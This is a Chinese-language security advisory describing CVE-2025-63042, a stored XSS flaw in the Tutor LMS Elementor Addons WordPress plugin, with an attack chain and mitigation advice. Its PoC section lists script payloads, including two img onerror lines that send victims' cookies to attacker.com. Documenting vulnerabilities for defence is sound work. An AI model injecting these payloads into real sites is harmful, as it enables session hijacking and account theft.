IPBUF安全漏洞报告
English
CVE-2025-63042 CVSS 6.5 中危

CVE-2025-63042 Tutor LMS Elementor Addons 存储型XSS漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-63042
漏洞类型
存储型XSS
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Themeum Tutor LMS Elementor Addons (tutor-lms-elementor-addons)

相关标签

存储型XSSWordPress插件CVE-2025-63042Tutor LMSElementor AddonsCross-site ScriptingWeb安全漏洞内容管理平台

漏洞概述

CVE-2025-63042是WordPress插件Tutor LMS Elementor Addons中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Web页面生成过程中对用户输入的不当处理,导致攻击者可以在受害者的浏览器中执行恶意JavaScript代码。由于该漏洞为存储型,恶意脚本会被永久保存在服务器端,所有访问包含恶意内容页面的用户都会受到攻击。此漏洞影响插件的3.0.1及以下版本,攻击者需要具有低权限用户账户(如订阅者或学生账户)即可利用此漏洞。攻击成功可能导致会话劫持、敏感信息窃取、恶意重定向等严重后果。

技术细节

该存储型XSS漏洞源于Tutor LMS Elementor Addons插件在处理用户提交数据时,未对特殊字符进行充分的HTML转义处理。攻击者可以通过在插件的表单输入字段中注入恶意JavaScript代码(如<script>标签或事件处理器属性),这些恶意代码会被存储在数据库中。当其他用户访问包含该恶意内容的页面时,服务器会将其作为正常HTML内容返回,浏览器则会执行其中的恶意脚本。由于该插件常用于在线教育平台,可能涉及用户注册和课程评论等功能,攻击面较大。攻击者利用此漏洞可窃取用户会话Cookie、伪造用户操作或传播恶意内容。

攻击链分析

STEP 1
步骤1
攻击者注册一个低权限账户(如学生或订阅者)到使用Tutor LMS Elementor Addons插件的WordPress网站
STEP 2
步骤2
攻击者在插件相关的输入字段(如课程评论、个人资料、问题反馈等)中注入恶意XSS payload
STEP 3
步骤3
恶意脚本被存储到数据库中,由于插件未进行充分的输入验证和输出编码
STEP 4
步骤4
当其他用户(如管理员或教师)访问包含该恶意内容的页面时,浏览器执行注入的JavaScript代码
STEP 5
步骤5
攻击者通过恶意脚本窃取用户会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS PoC for CVE-2025-63042 --> <!-- Inject this payload in any user-controllable field --> <script>alert(document.cookie)</script> <!-- Alternative payload with event handler --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- jQuery-based payload --> <img src=x onerror="$.get('https://attacker.com/log?data='+btoa(document.cookie))">

影响范围

tutor-lms-elementor-addons <= 3.0.1

防御指南

临时缓解措施
在官方修复版本发布之前,可暂时禁用Tutor LMS Elementor Addons插件,或限制低权限用户的功能使用。同时建议启用Web应用防火墙(WAF)规则来检测和阻止XSS攻击尝试,并加强对管理后台的访问监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表